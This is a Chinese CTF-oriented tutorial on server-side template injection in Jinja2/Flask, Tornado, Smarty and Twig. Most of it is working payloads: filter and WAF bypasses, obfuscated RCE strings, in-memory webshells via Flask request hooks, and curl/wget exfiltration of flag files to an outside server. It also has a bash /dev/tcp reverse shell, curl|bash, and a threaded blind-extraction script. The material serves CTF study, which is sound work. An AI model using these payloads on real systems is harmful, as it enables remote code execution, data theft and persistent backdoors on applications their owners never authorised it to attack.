假如还有原型链污染漏洞,我们可以污染jinja的语法标识符,将"{{","}}"修改为"<<",">>"或者其他不影响ssti注入的符号
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "<<","variable_end_string":">>"
}
}
}
}
}
绕过单引号 和 双引号
request在flask中可以访问基于 HTTP 请求传递的所有信息,这里的request并非python的函数,而是在flask内部的函数。
{%set a=(()|attr(request.args.a))%}{%print(a)%}&a=__class__
#url编码
{%set a%3D(()|attr(request.args.a))%}{%print(a)%}&a=__class__# 但显然,需要 . 没有过滤
{{""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read
其它用法
#获取get传入的key的值
request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key #获取cookies传入参数
request.headers.key #获取请求头请求参数
request.data #获取post传入参数(Content-Type:a/b)
request.json #获取post传入json参数 (Content-Type: application/json)
绕过符号过滤
1.利用flask内置函数和对象获取符号
{% set a=({}|select()|string()) %}{{a}} #获取下划线
{% set a=({}|self|string()) %} {{a}} #获取空格
{% set a=(self|string|urlencode) %}{{a}} #获取百分号
#从string列表中获取字符
{%set a=(lipsum|string|list)%}{{a}}
['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '0', '0', '0', '0', '0', '2', '5', '5', '6', 'D', '2', '9', '5', 'E', '4', '0', '>']
{%set a=(lipsum|string|list)[0]%}{{a}} # a='<'
2.利用 chr 函数来构造出一个命令
#无过滤
{% set chr=[].__class__.__base__.__subclasses__()[152].__init__.__globals__.__builtins__.chr%}{%print(chr(47))%}
#过滤点和关键词
{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% print(chr) %}
#其他构造方法
1."".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
2.get_flashed_messages.__globals__['__builtins__'].chr
3.url_for.__globals__['__builtins__'].chr
4.lipsum.__globals__['__builtins__'].chr
5.x.__init__.__globals__['__builtins__'].chr (x为任意值)
3.占位符绕过
'%c'%(47) # /
{% set cmd='cat '~'%c'%(47)~'flag' %}{% print(cmd)%} # cat /flag
工具fenjing
焚靖是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口,省去手动测试接口,fuzz题目WAF的时间。
pip3 install fenjing
#看一下有没有安装成功
python -m fenjing
#fenjing还有一个flask实现界面
python -m fenjing webui
检测漏洞
fenjing scan --url 网址
或者
python -m fenjing scan --url 网址
fenjing构造payload
{%if(((((((((((lipsum|attr((lipsum|escape|batch(22)|list|first|last)*2+'globals'+(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2+'getitem'+(lipsum|escape|batch(22)|list|first|last)*2))((lipsum|escape|batch(22)|list|first|last)*2+'builtins'+(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2+'getitem'+(lipsum|escape|batch(22)|list|first|last)*2))(('e'+'v'+'a'+'l')))((lipsum|escape|batch(22)|list|first|last)*2+('i'+'m'+'p'+'o'+'r'+'t')+(lipsum|escape|batch(22)|list|first|last)*2))('os')|attr(('p'+'o'+'p'+'e'+'n')))((('%c'*34)%(119,103,101,116,32,49,50,52,46,50,50,48,46,51,55,46,49,55,51,58,50,51,51,51,47,96,99,97,116,32,47,102,42,96))))|attr('read'))()))%}{%endif%}
{%if(lipsum|attr(('%c'%95)*2+'globals'+('%c'%95)*2)|attr(('%c'%95)*2+'getitem'+('%c'%95)*2)('os')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('\\167\\147\\145\\164\\40\\150\\164\\164\\160\\72\\57\\57\\61\\62\\64\\56\\62\\62\\60\\56\\63\\67\\56\\61\\67\\63\\72\\62\\63\\63\\63\\57\\140\\154\\163\\140')|attr('read')())%}{%endif%}
# wget http://123.244.220.37:2333/`ls`
长度限制绕过
方法一:使用长度较短的 Payload
{{url_for.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('whoami').read()}}
方法二:将 Payload 保存在 config 全局对象中
- Flask 框架中存在 config 全局对象,用来保存配置信息。
- config 对象实质上是一个字典的子类,可以像字典一样操作。
- 因此要更新字典,我们可以使用 Python 中字典的 update() 方法。
用 update() 方法 + 关键字参数更新字典:
{% set a=config.update(s='str')%}
或者
{{config.update(s='str')}} # 前提是{{}}没有被过滤
#查看是否写入成功
{{config.get('s')}} # 返回str
接下来,我们将使用此方法来在 config 全局对象中分段保存 Payload,以绕过长度限制。
例如:
#我们要构造的payload
{{lipsum.__globals__.os.popen('whoami').read()}}
#将 lipsum 全局函数更新保存到 config 中:
{%set x=config.update(l=lipsum)%}
#验证是否写入{{config.get('l')}}
#接下来将 __globals__ 属性保存到 config 中
{%set x=config.update(g='__globals__')%}
{%set x=config.update(f=lipsum|attr(config.g))%}
#然后就是获取全局空间下的 os 模块:
{%set x=config.update(o=config.f.os)%}
#接下来就是获取 os 模块中的 popen() 函数了
{%set x=config.update(p=config.o.popen)%}
#命令执行
{%print(config.p(request.args.c).read())%}&c=whoami
拓展
{%set x=config.update(a=config.update)%} #此时字典中a的值被更新为config全局对象中的update方法
# config.update => config.a
7、盲注
无回显盲注
在 print 和 {{}} 同时被过滤的情况下,只能用if语句来带外,类似于布尔注入。
下面的例子,当if条件成立则打印1否则打印2
{%if'a'=='a'%}1{%else%}2{%endif%}
payload:
cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].__import__('builtins').open('/flag').read(1)[0]=='c'
写内存马
利用 request.add_response_callback 钩子函数进行回显,构造:
{{cycler.__init__.__globals__.__builtins__['exec']("request.add_response_callback(lambda request, response: setattr(response,'text',__import__('os').popen('whoami').read()))",{'request': request})}}
{%set a='_'~'_'%}{%set b=cycler|attr(a~init~a)|attr(a~globals~a)|attr(a~builtins~a)%}
{%set c=b['exec']("request.add_response_callback(lambda request, response: setattr(response,'text',__import__('os').popen('whoami').read()))",{'request':request})%}{%print(b)%}
{%set a='_'~'_'%}{%set b=cycler|attr(a~init~a)|attr(a~globals~a)|attr(a~builtins~a)%}
{%set c=b['exec']("request.add_response_callback(lambda request, response: setattr(response,'text',__import__('os').popen('whoami').read()))",{'request':request})%}{%print(c)%}
#绕过点
{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')(lambda request, response: setattr(response,'text',getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request': request})}}
#字符+点绕过
url_for["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args·get('cmd') and exec(\"global CmdResp;CmdResp=__import_(\'flask\').make_response(_import_(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for["\137\137\147\154\157\142\141\154\163\137\137"]['request'],'app':url_for["\137\137\147\154\157\142\141\154\163\137\137"] ['current_app']})
{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")}}
{{(url_for|attr("_"+"_"+"globals"+"_"+"_"))['_'+'_builtins_'+'_']['ev'+'al']("_"+"_"+"im"+"port_"+"_('s"+"ys').modules['_"+"_main_"+"_']._"+"_dict_"+"_['app'].before_request_funcs.setdefault(None,[]).append(lambda :_"+"_imp"+"ort_"+"_('o"+"s').pop"+"en('dir').read())")}}
{{(url_for|attr("_"+"_"+"globals"+"_"+"_"))['_'+'_builtins_'+'_']['ev'+'al']("_"+"_"+"im"+"port_"+"_('s"+"ys').modules['_"+"_main_"+"_']._"+"_dict_"+"_['app'].before_request_funcs.setdefault(None,[]).append(lambda :_"+"_imp"+"ort_"+"_('o"+"s').pop"+"en('cat /f"+"lag').read())")}}
带外注入
带外注入,就是把目标主机的关键信息,利用一些工具,绕过其业务本身,带到外部来。要利用好带外注入,我们最好有一台公网上的云服务器,这会使得带外容易得多。
curl & wget 带外
先在我们的公网服务器上监听本地端口,我们可以使用 nc -lvp 2333 或者 python3 -m http.server 2333
相关shell指令:
# @ target netcat
curl qlear.top:2333 -F "file=@flag"
curl qlear.top:2333/`cat flag`
# 实测 wget 带外时发现 flag 中有空格时输出信息会不完整
wget qlear.top:2333/`cat flag`
利用curl命令:
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl qlear.top:2333 -F "file=@flag"').read() %}1{% endif %}
# curl qlear.top:2333/`cat flag`
# wget qlear.top:2333/`cat flag`
反弹 shell
#将反弹shell脚本放在vps服务器上,shell.txt,并开启2333端口的监听。
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
#用ssti命令执行curl反弹shell
curl http://118.**.**.***/shell.txt|bash
8、CTF实例
过滤
fuzz测试
.|*|{{|__|\|/|"
url_for|class|init|base|global|pop|os
paylaod
#我的wp
# 目的是找到可以RCE的类,比如<class 'os._warp_close'>
BaseCTF
{% set a='_'~'_'%}
{% set b=a~'cla'~'ss'~a %}
{% set c=a~'ba'~'se'~a%}
{% set d=a~'subcl'~'asses'~a%}
{% set e=a~'in'~'it'~a%}
{% set f=a~'glo'~'bals'~a%}
{% set g='po'~'pen'%}
{% set payload=(''|attr(b)|attr(c)|attr(d)()) %}
{%for i in payload %}
{%if (i|attr(a~'name'~a)) == '_wrap_clo'~'se' %}
{% print(i|attr(e)|attr(f)|attr(a~'getitem'~a)(g)('cat ${HOME%%root}flag')|attr('read')()) %}
{%endif%}
{%endfor%}
#官方wp1
BaseCTF
{%print(''['_''_''cla''ss''_''_']|attr('_''_''mr''o''_''_')|attr('_''_''get''item''_''_')(1)|attr('_''_''subc''lasses''_''_')()|attr('_''_''geti''tem''_''_')(137)|attr('_''_''ini''t''_''_')|attr('_''_''glo''bals''_''_')|attr('_''_''get''item''_''_')('po''pen')('cat ${HOME%%root}flag')|attr('read')())%}
#wp2
BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}
#这里用到了四种方法绕过正斜杠
1.Bash脚本的参数展开来绕过正斜杠
${HOME%%root}
${HOME}:表示用户的主目录的路径,比如:/home/kail或者/root
%%xxx 用于从变量值的末尾删除xxx, 比如: ${HOME}=/abcd 那么${HOME%%cd}=/ab
这里由于${HOME}=/root 所以我们可以用${HOME%%root}表示正斜杠/
2.构造 chr 函数,使用 chr(47) 表示正斜杠
{% set chr=[].__class__.__base__.__subclasses__()[152].__init__.__globals__.__builtins__.chr%}{%print(chr(47))%}
#或者用占位符 '%c'%(47)
3.利用 expr substr 切割出一个 /
a=`pwd`; a=`substr $a 1 1`; cd $a; cat flag
4.利用环境变量的值
env # 看到 OLDPWD=/
cd $OLDPWD;cat flag
ssti盲注
例题:exp
import requests
import concurrent.futures
url = "http://7d26c775-19b5-4001-88e3-fbba32c4e64c.challenge.ctf.show/echo"
strings = "qwertyuiopasdfghjklzxcvbnm{}-12334567890"
target = ""
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"cookie":"user=eyJpc19hZG1pbiI6MSwidXNlcm5hbWUiOiJ0ZXN0In0.ZzC9AQ.hbEoNTSwLImc98ykp0j_EJ_VlnQ"
}
def check_character(i, j, string):
payload = '''
cycler["__in"+"it__"]["__glo"+"bals__"]
["__bui"+"ltins__"].__import__('builtins').open('/flag').read({})[{}]=='{}'
'''.format(j + 1, j, string)
data = {"message": payload}
r = requests.post(url=url, data=data, headers=headers)
return string if r.status_code == 200 and "your answer is True" in r.text else None
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
for i in range(50):
futures = []
for j in range(50):
for string in strings:
futures.append(executor.submit(check_character, i, j, string))
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
print(result)
target += result
if result == "}":
print(target)
exit()
三、Tornado模板注入
1.概念
Tornado模板注入是一种安全漏洞,通常发生在Web应用程序中,当不安全地将用户输入与服务器端的模板结合使用时。攻击者可以通过输入恶意代码来改变最终渲染的HTML页面,从而执行未授权的操作或破坏网站的正常功能。
2.模板语法:
import tornado.template as template
payload = "{{1+1}}"
print(template.Template(payload).generate())
3.注入方法
在tornado模板中,存在一些可以访问的快速对象,比如handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。
简单理解handler.settings即可,可以把它理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭。
payload:
tornado?msg={{handler.settings}}
5.smarty模板注入
1.概念
Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。对于该框架的SSTI漏洞很多文章往往只是一笔带过,讲解的重心往往在Flask等框架上。
2.注入点
在确认是smarty模版后,最重要的就是找到注入点。
比如:有些题目在页面内显示一个ip,很容易猜测出这个IP的值受XFF(X-Forwarded-For)头控制,那么我就可以把XFF头改为{7*7}会发现该位置的值变为了49,便可以确定这里存在SSTI。
3.构造语句
找到注入点后,通过执行php命令:{system('cat /flag')}即可查看flag
Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。smarty模版可以用php全部的函数和表达式
以 《 [BJDCTF2020]The mystery of ip》 为例题
介绍下列特性:
1.一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号

2.Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但就该题目而言,使用{php}phpinfo();{/php}(注意:Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。)

3.静态方法:通过self获取Smarty类再调用其静态方法实现文件读写
Smarty类的getStreamVariable方法的代码如下:
public function getStreamVariable($variable)
{
$_result = '';
$fp = fopen($variable, 'r+');
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}
//可以看到这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法,很多文章里给的payload都形如:{self::getStreamVariable("file:///etc/passwd")}。然而使用这个payload会触发报错如下:
//Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "string:{self::getStreamVariable("file:///etc/pa..." on line 1
原因:
旧版本Smarty的SSTI利用方式并不适用于新版本的Smarty。而且在3.1.30的Smarty版本中官方已经把该静态方法删除。 对于那些文章提到的利用 Smarty_Internal_Write_File 类的writeFile方法来写shell也由于同样的原因无法使用。
4.{literal} 标签可以让一个模板区域的字符原样输出,通常我们可以利用这个特性来制造标签语言。

但是不能直接制造php标签,会被系统自动注释

如果php版本在7以下,可以用 js 标签调用PHP
5.{if}标签
Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如 || , or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}
将XFF头改为{if phpinfo()}{/if},可以看到题目执行了phpinfo()

4.漏洞代码
SSTI的代码简化后如下:
<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip); // display函数把标签替换成对象的php变量;显示模板
}
//可以看到这里使用字符串代替smarty模板,导致了注入的Smarty标签被直接解析执行,产生了SSTI。
6.Twig
概念
Twig 和 Smarty 类似,不过我们不能用它调用静态方法。
幸运的是,它提供了 _self,我们并不需要暴力枚举变量名。虽然 _self 没什么有用的方法,它提供了指向 Twig_Environment 的env 属性。Twig_Environment 其中的 setCache 方法则能改变 Twig 加载 PHP 文件的路径。这样一来,我们就可以通过改变路径实现 RFI了:
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
但是,PHP 默认禁止远程文件包含(关闭 allow_url_include),因此上述 payload 不能生效。进一步探索,我们在 getFilter 里发现了危险函数 call_user_func。通过传递传递参数到该函数中,我们可以调用任意 PHP 函数:
我们只需注册 exec 为 filter 的回调函数,并如此调用:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
沙箱模式
Twig 的沙箱模式有额外的限制。它会禁用一部分函数(包括开发者提供的对象),因此我们并不能调用有价值的东西。万幸的是,这部分代码帮助我们突破限制:
public function checkMethodAllowed($obj, $method)
{
if ($obj instanceof Twig_TemplateInterface || $obj instanceof Twig_Markup) {
return true;
}
这里,我们可以调用实现 Twig_TemplateInterface 的对象,也就是说我们可以简介使用 self.,self.中的 displayBlock 让我们更上一层楼:
public function displayBlock($name, array $context, array $blocks = array(), $useBlocks =
true)
{
$name = (string) $name;
if ($useBlocks && isset($blocks[$name])) {
$template = $blocks[$name][0];
$block = $blocks[$name][1];
} elseif (isset($this->blocks[$name])) {
$template = $this->blocks[$name][0];
$block = $this->blocks[$name][1];
} else {
$template = null;
$block = null;
}
if (null !== $template) {
try {
$template->$block($context, $blocks);
} catch (Twig_Error $e) {
...
我们可以用\(template ->\)block($context, $blocks)绕过白名单限制。以下的代码会调用 userObject 对象的 vulnerableMethod:
{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}
虽然现在不能获得环境变量,但我们可以利用 _context 属性查找开发者自定义的对象并调用有用的目标。

浙公网安备 33010602011771号